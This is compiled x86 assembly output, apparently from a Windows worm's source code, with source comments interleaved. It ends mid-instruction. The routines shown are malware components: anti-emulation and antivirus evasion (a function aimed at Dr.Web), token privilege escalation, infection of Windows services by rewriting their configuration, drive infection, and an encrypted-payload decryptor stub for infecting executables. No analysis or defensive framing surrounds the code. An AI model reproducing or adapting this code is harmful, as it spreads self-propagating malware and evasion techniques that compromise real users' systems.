__RegCloseKey .long __GetUserName .long __OpenProcessToken .long __LookupPrivilegeValue .long __GetTokenInformation .long __AdjustTokenPrivileges .long __InitializeSecurityDescriptor .long __SetSecurityDescriptorDacl .long __SetSecurityDescriptorOwner .long __GetSidIdentifierAuthority .long __GetSidSubAuthority .long __GetSidSubAuthorityCount .long __SetFileSecurity .long __CloseServiceHandle .long __QueryServiceConfig .long __EnumServicesStatus .long __OpenService .long __OpenSCManager .long __StartService .long __ChangeServiceConfig .long __CryptAcquireContext .long __CryptCreateHash .long __CryptHashData .long __CryptGetHashParam .long __CryptDestroyHash .long __CryptReleaseContext .long __ControlService .long __RegEnumKeyEx .long __RegSetKeySecurity .long __CryptDecrypt .long __CryptDestroyKey .long __CryptReleaseContext .long __CryptAcquireContextA .long __CryptImportKey .long __CryptSetKeyParam .long __CryptSetKeyParam .long __CryptDestroyKey .long __CryptReleaseContext .text .type _InitADVAPI32,function _InitADVAPI32: .line 53 .line 54 pushl $_$316 call *__GetModuleHandle movl %eax,__ADVAPI32 .line 55 test %eax,%eax jne _$317 pushl $_$316 call *__LoadLibrary movl %eax,__ADVAPI32 _$317: .line 57 pushl $_$319 pushl __ADVAPI32 pushl $_padrA32 call _InitAPIbyStr addl $12,%esp .line 78 ret _$322: .size _InitADVAPI32,_$322-_InitADVAPI32 .globl _InitADVAPI32 .file "e:\projects\progs\petrosjan\bjwj\worm\_api\_api.h" _$M133: .type _InitAPIbyStr,function _InitAPIbyStr: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %ebx pushl %esi pushl %edi .line 16 .line 17 movl $0,-4(%ebp) .line 18 movl $0,-8(%ebp) .line 20 movl 16(%ebp),%edi cmpb $47,(,%edi) jne _$324 .line 21 movl $7,-4(%ebp) movl $7,-8(%ebp) _$324: .line 23 _$326: .line 24 movl -4(%ebp),%edi movl 16(%ebp),%esi cmpb $0,(%esi,%edi) jne _$327 jmp _$323 _$327: .line 25 movl -4(%ebp),%edi movl 16(%ebp),%esi cmpb $47,(%esi,%edi) jne _$329 movl -4(%ebp),%edi movl 16(%ebp),%esi movb $0,(%esi,%edi) addl $6,-4(%ebp) _$329: .line 27 movl -4(%ebp),%edi movl 16(%ebp),%esi cmpb $124,(%esi,%edi) jne _$331 .line 29 movl $0,-12(%ebp) .line 30 movl -4(%ebp),%edi movl 16(%ebp),%esi movb $0,(%esi,%edi) .line 32 movl -8(%ebp),%edi movl 16(%ebp),%esi movsbl (%esi,%edi),%ebx imul $10,%ebx,%edi subl $480,%edi addl %edi,-12(%ebp) .line 33 movl -8(%ebp),%edi addl $1,%edi movl 16(%ebp),%esi movsbl (%esi,%edi),%edi subl $48,%edi addl %edi,-12(%ebp) .line 37 movl -8(%ebp),%edi addl $2,%edi addl 16(%ebp),%edi pushl %edi pushl 12(%ebp) call *__GetProcAddress movl -12(%ebp),%esi movl 8(%ebp),%ebx movl (%ebx,%esi,4),%esi movl %eax,(,%esi) .line 40 movl -4(%ebp),%edi addl $1,%edi movl %edi,-8(%ebp) _$331: .line 43 incl -4(%ebp) .line 45 jmp _$326 _$323: .line 46 popl %edi popl %esi popl %ebx leave ret _$334: .size _InitAPIbyStr,_$334-_InitAPIbyStr .globl _InitAPIbyStr .file "e:\projects\progs\petrosjan\bjwj\worm\_api\wininet.h" _$M134: .data .globl __WININET .align 2 .type __WININET,object __WININET: .long 0x0 .globl _padrWininet .align 2 .type _padrWininet,object _padrWininet: .long __InternetReadFile .long __InternetOpenA .long __InternetConnectA .long __HttpOpenRequestA .long __HttpAddRequestHeadersA .long __HttpSendRequestA .long __InternetCloseHandle .text .type _InitWininet,function _InitWininet: .line 16 .line 17 pushl $_$336 call *__GetModuleHandle movl %eax,__WININET .line 18 test %eax,%eax jne _$337 pushl $_$336 call *__LoadLibrary movl %eax,__WININET _$337: .line 20 pushl $_$339 pushl __WININET pushl $_padrWininet call _InitAPIbyStr addl $12,%esp .line 21 ret _$342: .size _InitWininet,_$342-_InitWininet .globl _InitWininet .file "e:\projects\progs\petrosjan\bjwj\worm\_api\urlmon.h" _$M135: .data .globl __URLMON .align 2 .type __URLMON,object __URLMON: .long 0x0 .globl _padrUrlmon .align 2 .type _padrUrlmon,object _padrUrlmon: .long __ObtainUserAgentString .text .type _InitUrlmon,function _InitUrlmon: .line 9 .line 10 pushl $_$344 call *__GetModuleHandle movl %eax,__URLMON .line 11 test %eax,%eax jne _$345 pushl $_$344 call *__LoadLibrary movl %eax,__URLMON _$345: .line 13 pushl $_$347 pushl __URLMON pushl $_padrUrlmon call _InitAPIbyStr addl $12,%esp .line 14 ret _$350: .size _InitUrlmon,_$350-_InitUrlmon .globl _InitUrlmon .file "e:\projects\progs\petrosjan\bjwj\worm\_api\crypt32.h" _$M136: .data .globl __CRYPT32 .align 2 .type __CRYPT32,object __CRYPT32: .long 0x0 .globl _padrCrypt32 .align 2 .type _padrCrypt32,object _padrCrypt32: .long __CryptStringToBinaryA .text .type _InitCrypt32,function _InitCrypt32: .line 9 .line 10 pushl $_$352 call *__GetModuleHandle movl %eax,__CRYPT32 .line 11 test %eax,%eax jne _$353 pushl $_$352 call *__LoadLibrary movl %eax,__CRYPT32 _$353: .line 13 pushl $_$355 pushl __CRYPT32 pushl $_padrCrypt32 call _InitAPIbyStr addl $12,%esp .line 14 ret _$358: .size _InitCrypt32,_$358-_InitCrypt32 .globl _InitCrypt32 .file "e:\projects\progs\petrosjan\bjwj\worm\_antiav\_antiemul.c" _$M137: .type _GetTicks1,function _GetTicks1: pushl %ebp movl %esp,%ebp pushl %ecx pushl %edi .line 15 andl $0,_EMUL .line 16 call *__GetTickCount movl $100,%ecx movl $0x51eb851f,%edx mull %edx shrl $5,%edx movl %edx,%eax movl %eax,-4(%ebp) movl %eax,_ticks1 .line 17 popl %edi leave ret _$362: .size _GetTicks1,_$362-_GetTicks1 .globl _GetTicks1 ; ticks3 --> %esi .type _GetTicks2,function _GetTicks2: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %esi pushl %edi .line 23 .line 26 call *__GetTickCount movl $100,%ecx movl $0x51eb851f,%edx mull %edx shrl $5,%edx movl %edx,-4(%ebp) movl %edx,_ticks2 .line 30 call *__GetTickCount movl $100,%ecx movl $0x51eb851f,%edx mull %edx shrl $5,%edx movl %edx,-8(%ebp) movl %edx,%edi movl %edi,%esi .line 31 movl %esi,%eax subl _ticks2,%eax cmpl $1,%eax jbe _$364 .line 32 movl $4096,_EMUL _$364: .line 33 popl %edi popl %esi leave ret _$370: .size _GetTicks2,_$370-_GetTicks2 .globl _GetTicks2 ; q --> %edi ; zad --> %esi .type _zaderjka_cyklom,function _zaderjka_cyklom: .line 39 movl 4(%esp),%edx .line 41 xor %ecx,%ecx _$372: incl %edx incl %ecx cmpl $0x186a0,%ecx jb _$372 .line 42 movl %edx,%eax .line 43 ret _$376: .size _zaderjka_cyklom,_$376-_zaderjka_cyklom .globl _zaderjka_cyklom ; x --> %esi .type _AntiEmulator,function _AntiEmulator: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %esi pushl %edi .line 55 _$378: .line 62 call _GetTicks2 .line 64 pushl -8(%ebp) call _zaderjka_cyklom popl %ecx movl %eax,-8(%ebp) .line 66 movl _ticks2,%eax subl 8(%ebp),%eax movl %eax,-4(%ebp) .line 67 movl _ticks2,%eax movl %eax,%esi subl _ticks1,%esi .line 70 movl _ticks1,%eax cmpl %eax,-4(%ebp) jb _$378 .line 71 _$379: .line 73 movl %esi,%eax movl 8(%ebp),%ecx xorl %edx,%edx divl %ecx movl %eax,-12(%ebp) movl %eax,%esi .line 79 .line 80 popl %edi popl %esi leave ret _$383: .size _AntiEmulator,_$383-_AntiEmulator .globl _AntiEmulator ; i --> %edi ; new_x --> %esi ; x --> %ebx .type _fool_drweb,function _fool_drweb: pushl %ebx .line 89 movl 8(%esp),%ebx .line 90 movl %ebx,%edx addl $8192,%edx .line 92 xor %ecx,%ecx _$385: .line 94 movl %ebx,%edx .line 92 incl %ecx cmpl $0x5f5e100,%ecx jb _$385 .line 97 movl %edx,%eax .line 98 popl %ebx ret _$389: .size _fool_drweb,_$389-_fool_drweb .globl _fool_drweb .file "e:\projects\progs\petrosjan\bjwj\worm\_strings\_serstr.c" _$M138: ; w --> %edi ; l2 --> %esi ; e --> %ebx .type _serstr,function _serstr: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %ebx pushl %esi pushl %edi .line 6 .line 10 andl $0,-8(%ebp) .line 12 movl 8(%ebp),%eax movl %eax,%ecx orl $-1,%eax _$strlen0: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen0 movl %eax,-12(%ebp) .line 13 movl 12(%ebp),%eax leal (,%eax),%ecx orl $-1,%eax _$strlen1: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen1 movl %eax,%esi .line 15 movl $0,-4(%ebp) jmp _$394 _$391: .line 17 xor %ebx,%ebx .line 18 movl %ebx,%edi jmp _$398 _$395: .line 20 movl -4(%ebp),%eax addl %edi,%eax movl 8(%ebp),%edx movsbl (%edx,%eax),%eax movl 12(%ebp),%edx movsbl (%edx,%edi),%edx cmpl %edx,%eax jne _$397 incl %ebx .line 21 cmpl %esi,%ebx jne _$401 incl -8(%ebp) movl 16(%ebp),%eax cmpl %eax,-8(%ebp) jne _$401 movl -4(%ebp),%eax jmp _$390 _$401: .line 22 .line 18 incl %edi _$398: cmpl %esi,%edi jb _$395 _$397: .line 23 .line 15 incl -4(%ebp) _$394: movl -12(%ebp),%eax cmpl %eax,-4(%ebp) jb _$391 .line 25 movl $65535,%eax _$390: .line 26 popl %edi popl %esi popl %ebx leave ret _$407: .size _serstr,_$407-_serstr .globl _serstr .file "e:\projects\progs\petrosjan\bjwj\worm\_strings\_rndstr.c" _$M139: ; q --> %esi ; s --> %ebx .type _rndstr,function _rndstr: pushl %ebp movl %esp,%ebp pushl %ebx pushl %esi pushl %edi .line 7 movl 8(%ebp),%ebx .line 9 xor %esi,%esi jmp _$412 _$409: call *__rand movl $274877907,%edx pushl %ecx movl %eax,%ecx imull %edx sarl $7,%edx sarl $31,%ecx subl %ecx,%edx movl %edx,%eax popl %ecx movl %eax,%edi addl $97,%edi movl %di,%dx movb %dl,(%ebx,%esi) incl %esi _$412: cmpl 12(%ebp),%esi jl _$409 .line 10 movl 12(%ebp),%eax movb $0,(%ebx,%eax) .line 11 movl %ebx,%eax .line 12 popl %edi popl %esi popl %ebx popl %ebp ret _$414: .size _rndstr,_$414-_rndstr .globl _rndstr .file "e:\projects\progs\petrosjan\bjwj\worm\_strings\_lowerstr.c" _$M140: ; q --> %edi ; s --> %esi ; l --> %ebx .type _lowerstr,function _lowerstr: pushl %ebx pushl %esi pushl %edi .line 6 movl 16(%esp),%esi .line 9 movl %esi,%ecx orl $-1,%eax _$strlen2: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen2 movl %eax,%ebx .line 11 movl $0,%edi jmp _$419 _$416: .line 13 movb (%esi,%edi),%al cmpb $65,%al jle _$420 cmpb $90,%al jge _$420 movl 20(%esp),%eax movsbl (%esi,%edi),%edx addl $32,%edx movb %dl,(%eax,%edi) jmp _$421 _$420: movl 20(%esp),%eax movb (%esi,%edi),%dl movb %dl,(%eax,%edi) _$421: .line 14 .line 11 incl %edi _$419: cmpl %ebx,%edi jb _$416 .line 16 popl %edi popl %esi popl %ebx ret _$424: .size _lowerstr,_$424-_lowerstr .globl _lowerstr .file "e:\projects\progs\petrosjan\bjwj\worm\_glob.c" _$M141: .data .globl _SYSTEM_NT .align 2 .type _SYSTEM_NT,object _SYSTEM_NT: .long 0 .globl _MAJORW .align 2 .type _MAJORW,object _MAJORW: .long 0x0 .text .type _isSystemNT,function _isSystemNT: pushl %ebp movl %esp,%ebp subl $148,%esp .line 20 .line 23 cmpl $0,_MAJORW je _$426 movl _SYSTEM_NT,%eax jmp _$425 _$426: .line 25 movl $148,-148(%ebp) .line 26 leal -148(%ebp),%eax pushl %eax call *__GetVersionEx .line 28 cmpl $2,-132(%ebp) jne _$428 movl $1,_SYSTEM_NT _$428: .line 29 movl -144(%ebp),%eax movl %eax,_MAJORW .line 36 movl _SYSTEM_NT,%eax _$425: .line 37 leave ret _$432: .size _isSystemNT,_$432-_isSystemNT .globl _isSystemNT .type _CloseCreateThreadEco,function _CloseCreateThreadEco: pushl %ebp movl %esp,%ebp pushl %ecx .line 43 .line 45 leal -4(%ebp),%eax pushl %eax pushl $0 pushl $0 pushl 8(%ebp) pushl $0 pushl $0 call *__CreateThread pushl %eax call *__CloseHandle .line 46 leave ret _$436: .size _CloseCreateThreadEco,_$436-_CloseCreateThreadEco .globl _CloseCreateThreadEco .file "e:\projects\progs\petrosjan\bjwj\worm\_strings\_my_strcpy.c" _$M142: ; q --> %edi ; s2 --> %esi .type _my_strcpy,function _my_strcpy: pushl %esi .line 8 movl 12(%esp),%esi .line 10 xor %ecx,%ecx _$438: .line 13 movl 8(%esp),%eax movb (%esi,%ecx),%dl movb %dl,(%eax,%ecx) .line 14 cmpb $0,(%esi,%ecx) je _$439 incl %ecx jmp _$438 _$439: .line 16 popl %esi ret _$441: .size _my_strcpy,_$441-_my_strcpy .globl _my_strcpy .file "e:\projects\progs\petrosjan\bjwj\worm\_token.c" _$M143: .data .globl _ptu .align 2 .type _ptu,object _ptu: .long 0x0 .globl _sdsc2 .align 2 .type _sdsc2,object _sdsc2: .long 0x0 .text ; res --> %edi ; hprc --> %esi ; pid --> %ebx .type _EditOwnToken_or_CheckFiltered,function _EditOwnToken_or_CheckFiltered: pushl %ebp movl %esp,%ebp subl $64,%esp pushl %ebx pushl %esi pushl %edi .line 60 .line 69 call _isSystemNT or %eax,%eax jne _$443 .line 70 xor %edi,%edi inc %edi jmp _$445 _$443: .line 75 call *__GetCurrentProcessId movl %eax,%ebx .line 77 pushl %ebx pushl $0 pushl $0x1f0fff call *__OpenProcess movl %eax,%esi .line 78 leal -4(%ebp),%eax pushl %eax pushl $40 pushl %esi call *__OpenProcessToken movl %eax,%edi .line 84 or %edi,%edi je _$445 _$446: .line 88 andl $0,-60(%ebp) .line 89 leal -64(%ebp),%eax pushl %eax pushl $40 leal -60(%ebp),%eax pushl %eax pushl $21 pushl -4(%ebp) call *__GetTokenInformation movl %eax,%edi .line 98 cmpl $0,8(%ebp) je _$448 .line 100 or %edi,%edi jne _$450 inc %edi jmp _$445 _$450: .line 101 xor %edi,%edi inc %edi .line 102 cmpl $0,-60(%ebp) je _$445 xor %edi,%edi .line 103 jmp _$445 _$448: .line 106 cmpl $0,_ptu jne _$454 pushl $16384 pushl $64 call *__LocalAlloc movl %eax,_ptu _$454: .line 107 leal -64(%ebp),%eax pushl %eax pushl $16384 pushl _ptu pushl $1 pushl -4(%ebp) call *__GetTokenInformation .line 120 cmpl $0,_sdsc2 jne _$456 pushl $20 pushl $0 call *__LocalAlloc movl %eax,_sdsc2 _$456: .line 122 pushl $1 pushl _sdsc2 call *__InitializeSecurityDescriptor movl %eax,%edi .line 128 pushl $0 pushl $0 pushl $1 pushl _sdsc2 call *__SetSecurityDescriptorDacl movl %eax,%edi .line 134 pushl $0 movl _ptu,%eax pushl (,%eax) pushl _sdsc2 call *__SetSecurityDescriptorOwner movl %eax,%edi .line 142 leal -16(%ebp),%eax pushl %eax pushl $_$458 pushl $0 call *__LookupPrivilegeValue movl %eax,%edi .line 148 or %edi,%edi je _$445 _$460: .line 150 movl $1,-20(%ebp) .line 151 movl $2,-8(%ebp) .line 153 pushl $0 pushl $0 pushl $0 leal -20(%ebp),%eax pushl %eax pushl $0 pushl -4(%ebp) call *__AdjustTokenPrivileges movl %eax,%edi _$445: .line 160 pushl -4(%ebp) call *__CloseHandle .line 161 pushl %esi call *__CloseHandle .line 162 movl %edi,%eax .line 163 popl %edi popl %esi popl %ebx leave ret _$476: .size _EditOwnToken_or_CheckFiltered,_$476-_EditOwnToken_or_CheckFiltered .globl _EditOwnToken_or_CheckFiltered .file "e:\projects\progs\petrosjan\bjwj\worm\_antiav\_avsvc.c" _$M144: .type _InitAVSVC,function _InitAVSVC: .line 5 .line 10 pushl $_$478 pushl $_AVSVC call _strcpy@8 .line 15 ret _$479: .size _InitAVSVC,_$479-_InitAVSVC .globl _InitAVSVC .file "e:\projects\progs\petrosjan\bjwj\worm\_service.c" _$M145: ; env --> %edi ; SERVICEFND --> %esi ; env0 --> %ebx .type _CheckService,function _CheckService: pushl %ebp movl %esp,%ebp subl $524,%esp pushl %ebx pushl %esi pushl %edi .line 6 .line 13 call _isSystemNT or %eax,%eax je _$480 _$481: .line 15 movl $255,-516(%ebp) .line 16 leal -516(%ebp),%eax pushl %eax leal -255(%ebp),%eax pushl %eax call *__GetUserName .line 25 cmpb $0,-255(%ebp) jne _$483 xor %eax,%eax inc %eax jmp _$480 _$483: .line 26 pushl $1 pushl $_$487 leal -255(%ebp),%eax pushl %eax call _serstr addl $12,%esp cmpl $65535,%eax je _$485 xor %eax,%eax inc %eax jmp _$480 _$485: .line 27 pushl $1 pushl $_$490 leal -255(%ebp),%eax pushl %eax call _serstr addl $12,%esp cmpl $65535,%eax je _$488 xor %eax,%eax inc %eax jmp _$480 _$488: .line 29 movl $255,-520(%ebp) .line 30 leal -520(%ebp),%eax pushl %eax leal -510(%ebp),%eax pushl %eax call *__GetComputerName .line 38 pushl $_$491 leal -510(%ebp),%eax pushl %eax call *__strcat .line 39 pushl $1 leal -255(%ebp),%eax pushl %eax leal -510(%ebp),%eax pushl %eax call _serstr addl $20,%esp cmpl $65535,%eax je _$492 xor %eax,%eax inc %eax jmp _$480 _$492: .line 43 call *__GetEnvironmentStrings movl %eax,%ebx .line 44 movl %ebx,%edi .line 45 xor %esi,%esi _$494: .line 48 cmpb $0,(,%edi) je _$497 _$495: .line 54 movl %edi,%ecx orl $-1,%eax _$strlen3: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen3 movl %eax,-524(%ebp) .line 55 pushl $1 pushl $_$500 pushl %edi call _serstr addl $12,%esp cmpl $65535,%eax je _$498 movl $1,%esi jmp _$497 _$498: .line 56 pushl $1 pushl $_$503 pushl %edi call _serstr addl $12,%esp cmpl $65535,%eax je _$501 xor %esi,%esi inc %esi jmp _$497 _$501: .line 58 movl -524(%ebp),%eax leal 1(%eax,%edi),%edi .line 59 jmp _$494 _$497: .line 62 pushl %ebx call *__FreeEnvironmentStrings .line 63 or %esi,%esi je _$504 xor %eax,%eax inc %eax jmp _$480 _$504: .line 65 xor %eax,%eax _$480: .line 66 popl %edi popl %esi popl %ebx leave ret _$514: .size _CheckService,_$514-_CheckService .globl _CheckService ; exe --> %edi ; res --> %esi ; scs --> %ebx .type _ProcessService,function _ProcessService: pushl %ebp movl %esp,%ebp subl $292,%esp pushl %ebx pushl %esi pushl %edi .line 72 .line 87 pushl $_$516 leal -259(%ebp),%eax pushl %eax call _strcpy@8 pushl 12(%ebp) leal -259(%ebp),%eax pushl %eax call *__strcat pushl $_$516 leal -259(%ebp),%eax pushl %eax call *__strcat addl $16,%esp .line 89 pushl $19 pushl 12(%ebp) pushl 8(%ebp) call *__OpenService movl %eax,%ebx .line 90 or %ebx,%ebx je _$515 _$517: .line 94 leal -276(%ebp),%eax pushl %eax pushl $0 pushl $0 pushl %ebx call *__QueryServiceConfig .line 96 pushl -276(%ebp) pushl $0 call *__LocalAlloc movl %eax,-4(%ebp) .line 97 leal -272(%ebp),%eax pushl %eax pushl -276(%ebp) pushl -4(%ebp) pushl %ebx call *__QueryServiceConfig movl %eax,%esi .line 103 or %esi,%esi je _$521 _$519: .line 107 movl -4(%ebp),%eax movl 12(%eax),%edi .line 108 pushl %edi pushl %edi call _lowerstr .line 111 pushl $1 pushl $_$524 pushl %edi call _serstr addl $20,%esp cmpl $65535,%eax je _$521 _$522: .line 114 pushl $1 pushl $_$527 pushl %edi call _serstr addl $12,%esp cmpl $65535,%eax je _$525 movl 16(%ebp),%eax cmpl $0,(,%eax) jne _$521 _$528: movl 16(%ebp),%eax movl $1,(,%eax) _$525: .line 116 cmpb $34,(,%edi) jne _$530 .line 117 incl %edi andl $0,-292(%ebp) movb $34,-286(%ebp) movb $0,-285(%ebp) jmp _$531 _$530: .line 119 movl $4,-292(%ebp) pushl $_$524 leal -286(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp _$531: .line 121 pushl $1 leal -286(%ebp),%eax pushl %eax pushl %edi call _serstr addl $12,%esp movl %eax,-272(%ebp) .line 122 cmpl $0xffff,%eax je _$521 _$533: movl -272(%ebp),%eax addl -292(%ebp),%eax movb $0,(%edi,%eax) .line 136 pushl $0 pushl $0 pushl %edi call _ProcessEXE addl $12,%esp movl %eax,%esi .line 137 or %esi,%esi je _$521 _$535: .line 141 movl -4(%ebp),%eax movl (,%eax),%eax movl %eax,-264(%ebp) .line 142 movl $2,-268(%ebp) .line 144 pushl $1 leal -259(%ebp),%eax pushl %eax pushl $_AVSVC call _serstr addl $12,%esp cmpl $65535,%eax je _$537 movl $4,-268(%ebp) _$537: .line 146 movl -264(%ebp),%eax andl $256,%eax cmpl $256,%eax je _$539 .line 147 orw $256,-264(%ebp) jmp _$540 _$539: .line 149 cmpl $2,-268(%ebp) jne _$540 movl -4(%ebp),%eax cmpl $2,4(%eax) je _$543 _$540: .line 151 pushl $0 pushl $0 pushl $0 pushl $0 pushl $0 pushl $0 pushl $0 pushl $0xffffffff pushl -268(%ebp) pushl -264(%ebp) pushl %ebx call *__ChangeServiceConfig movl %eax,%esi .line 158 or %esi,%esi je _$521 _$544: .line 159 cmpl $4,-268(%ebp) je _$521 _$546: .line 163 _$543: .line 164 movl 20(%ebp),%eax cmpl $0,(,%eax) je _$521 _$548: ; 165 { ; 166 char mtxv[0xFF]; .line 166 pushl $0 pushl $0 pushl %ebx call *__StartService movl %eax,%esi ; 167 _OutputDebugStringA("000"); ; 168 #ifdef dbgdbg ; 169 adddeb("===== !!! SERVICE MODE !!! ====="); ; 170 #endif ; 171 ; 172 sdelay = 10000; //@S // 10 sec rscan infect delay .line 172 or %esi,%esi je _$521 movl 20(%ebp),%eax decl (,%eax) ; 173 _sprintf(mtxv, "%s_%u", SERVICE_MTX,VERSION); //@E // version mutex ; 174 .line 174 _$521: ; 175 //--- returns only if mtxv released or created by our thread .line 175 pushl -4(%ebp) call *__LocalFree ; 176 CreateOrOpenMutexes_WaitForMtx2Release(SERVICE_MTX, mtxv); .line 176 pushl %ebx call *__CloseServiceHandle _$515: ; 177 .line 177 popl %edi popl %esi popl %ebx leave ret _$566: .size _ProcessService,_$566-_ProcessService .globl _ProcessService ; scm --> %edi ; 178 //--- EditOwnToken (enable OWNER priv) ; 179 EditOwnToken_or_CheckFiltered(FALSE); // this func has internal NT check, FALSE==Edit, TRUE==Check ; 180 ; 181 //--- Init infcode, AVSVC, decrypt dll, srand, infect inactive services ; 182 //--- we are initial owner of mutex => no need to launch other svc .type _ProcessInactiveServices,function _ProcessInactiveServices: pushl %ebp movl %esp,%ebp .extern __stackprobe movl $180020,%eax call __stackprobe pushl %edi ; 183 InitInfectData(ticks, 0); //@S // SVC_START==0 => start no services .line 183 ; 184 ; 185 //--- Kill Windows Security Center ; 186 //KillWSC(); //@E // should be finished before AvSvcThread or we'll see red icon in tray! ; 187 ; 188 //--- Create Drives Infecting thread if not 'TERMINAL' mode ; 189 CloseCreateThreadEco(InfectAllDrives); .line 189 andl $0,-180016(%ebp) ; 190 .line 190 andl $0,-180012(%ebp) ; 191 //--- Create Antiviral Prc Thread ; 192 //CloseCreateThreadEco(AvPrcThread); ; 193 .line 193 call _isSystemNT or %eax,%eax je _$567 ; 194 //--- Create Antiviral UnInstall Thread .line 194 _$568: ; 195 //CloseCreateThreadEco(UnInstThread); ; 196 .line 196 pushl $4 pushl $0 pushl $0 call *__OpenSCManager movl %eax,%edi ; 197 //--- Create Antiviral Svc Thread .line 197 leal -180016(%ebp),%eax pushl %eax leal -8(%ebp),%eax pushl %eax leal -4(%ebp),%eax pushl %eax pushl $0x2bf20 leal -180008(%ebp),%eax pushl %eax pushl $2 pushl $48 pushl %edi call *__EnumServicesStatus or %eax,%eax je _$567 ; 198 //CloseCreateThreadEco(AvSvcThread); .line 198 _$570: ; 199 ; 200 //--- returns only if SERVICE_MTX released or created by our thread ; 201 CreateOrOpenMutexes_WaitForMtx2Release(mtxv, SERVICE_MTX); ; 202 ; 203 ; 204 //------ ZDES RAZMESHAETSYA VASH KOD vmesto beckonechnogo cikla .line 204 andl $0,-4(%ebp) jmp _$575 _$572: ; 205 /********************************************************************************************/ .line 205 leal 8(%ebp),%eax pushl %eax leal -180012(%ebp),%eax pushl %eax movl $36,%eax mull -4(%ebp) movl %eax,-180020(%ebp) pushl -180008(%ebp,%eax) pushl %edi call _ProcessService addl $16,%esp .line 204 incl -4(%ebp) _$575: movl -8(%ebp),%eax cmpl %eax,-4(%ebp) jl _$572 ; 206 LoadAndStartDll(); ; 207 /*******************************************************************************************/ .line 207 pushl %edi call *__CloseServiceHandle ; 208 .line 208 movl -8(%ebp),%eax _$567: ; 209 x_loop:; __sleep(0); goto x_loop; .line 209 popl %edi leave ret _$581: .size _ProcessInactiveServices,_$581-_ProcessInactiveServices .globl _ProcessInactiveServices .file "e:\projects\progs\petrosjan\bjwj\worm\_infect1\_pehead.h" _$M146: .file "e:\projects\progs\petrosjan\bjwj\worm\_infect1\_c_code.h" _$M147: .type _C_CODE_NG,function _C_CODE_NG: pushl %ebp movl %esp,%ebp subl $80,%esp pushl %ebx pushl %esi pushl %edi .line 51 .line 80 movl $0,-28(%ebp) .line 101 movl $0xf0f0f0f0,-28(%ebp) .line 102 movl $0xfefefefe,-36(%ebp) .line 103 addl $0xfefefefe,-36(%ebp) .line 104 movl $0xf1f1f1f1,-40(%ebp) .line 105 addl $0xf1f1f1f1,-40(%ebp) .line 109 movl $0,-32(%ebp) .line 110 decl -28(%ebp) _$583: .line 112 .line 144 movl $3,-60(%ebp) _$584: movl -40(%ebp),%edi cmpl %edi,-60(%ebp) jb _$585 jmp _$587 _$585: movl -60(%ebp),%edi addl -36(%ebp),%edi movzbl (,%edi),%ebx movl -28(%ebp),%esi movl %esi,%edx andl $0xff,%edx movl %ebx,%esi xorl %edx,%esi movl %si,%bx movb %bl,(,%edi) incl -60(%ebp) jmp _$584 _$587: .line 149 movl $0xfdfdfdfd,-44(%ebp) .line 150 movl $0xfbfbfbfb,-16(%ebp) .line 153 incl -32(%ebp) .line 154 cmpl $2,-32(%ebp) jne _$588 incl -28(%ebp) _$588: .line 156 cmpl $3,-32(%ebp) jae _$590 jmp _$583 _$590: .line 169 movl $0,-60(%ebp) _$592: movl -60(%ebp),%edi movl -16(%ebp),%esi movl -44(%ebp),%ebx movb (%ebx,%edi),%bl movb %bl,(%esi,%edi) incl -60(%ebp) cmpl $0xfcfcfcfc,-60(%ebp) jae _$593 jmp _$592 _$593: .line 174 movl $0xfafafafa,-48(%ebp) .line 175 movl $0xf8f8f8f8,-52(%ebp) .line 188 movl $0,-60(%ebp) _$595: movl -60(%ebp),%edi movl -52(%ebp),%esi movl -48(%ebp),%ebx movb (%ebx,%edi),%bl movb %bl,(%esi,%edi) incl -60(%ebp) cmpl $0xf9f9f9f9,-60(%ebp) jae _$596 jmp _$595 _$596: .line 193 movl $0xf5f5f5f5,-20(%ebp) .line 194 movl $0xf7f7f7f7,-8(%ebp) _$598: .line 198 movl $0xf3f3f3f3,-24(%ebp) .line 199 movl $0xf2f2f2f2,-56(%ebp) .line 203 movl $0,-4(%ebp) jmp _$602 _$599: .line 209 movl -16(%ebp),%edi subl -24(%ebp),%edi movl %edi,-12(%ebp) ; 210 } .line 210 movl -4(%ebp),%edi addl $8,%edi addl -8(%ebp),%edi movl %edi,-68(%ebp) ; 211 .line 211 movl -68(%ebp),%edi movw (,%edi),%di movw %di,-62(%ebp) ; 212 /////////////////////////////////////////////////////////////// ; 213 // Main Thread //////////////////////////////////////////////// .line 213 cmpw $0,-62(%ebp) jne _$603 jmp _$601 _$603: ; 214 .line 214 movzwl -62(%ebp),%edi sarl $12,%edi movl %edi,-72(%ebp) ; 215 #ifdef _MSC_VER .line 215 movzwl -62(%ebp),%edi sall $4,%edi movl %edi,-60(%ebp) ; 216 #pragma optimize("", off) .line 216 shrl $4,-60(%ebp) ; 217 #else ; 218 #pragma optimize(off) .line 218 cmpl $0,-60(%ebp) jne _$605 cmpl $0,-4(%ebp) je _$605 jmp _$601 _$605: ; 219 #endif .line 219 movl -12(%ebp),%edi subl -20(%ebp),%edi movl %edi,-76(%ebp) ; 220 ; 221 DWORD WINAPI MainThread(LPVOID GPA) ; 222 { ; 223 //---ANTINOD: esli zapalit drugie Init, iskazit i GetModuleHandle ; 224 ; 225 DWORD x; //@S ; 226 DWORD kernfuck; //@E .line 226 cmpl $3,-72(%ebp) jne _$607 ; 227 ; 228 DWORD ticks; .line 228 movl -8(%ebp),%edi movl (,%edi),%edi addl -60(%ebp),%edi addl -12(%ebp),%edi movl %edi,-80(%ebp) ; 229 BOOL service; .line 229 movl -80(%ebp),%edi movl -76(%ebp),%esi addl %esi,(,%edi) _$607: ; 230 BYTE resver; ; 231 .line 231 _$600: .line 203 addl $2,-4(%ebp) _$602: movl -8(%ebp),%edi movl 4(%edi),%edi cmpl %edi,-4(%ebp) jb _$599 _$601: ; 232 char mtx[0xFF]; //@S ; 233 char mtxv[0xFF]; //@E .line 233 _$609: ; 234 .line 234 movl -8(%ebp),%edi movl 4(%edi),%esi addl %edi,%esi movl %esi,-8(%ebp) ; 235 MSG m; //@S ; 236 WNDCLASS wtc; //@E .line 236 cmpl $0xf4f4f4f4,-8(%ebp) jae _$610 jmp _$598 _$610: ; 237 DWORD flags; ; 238 int q, w; ; 239 .line 239 ; 240 HANDLE sm; //@S .line 240 movl 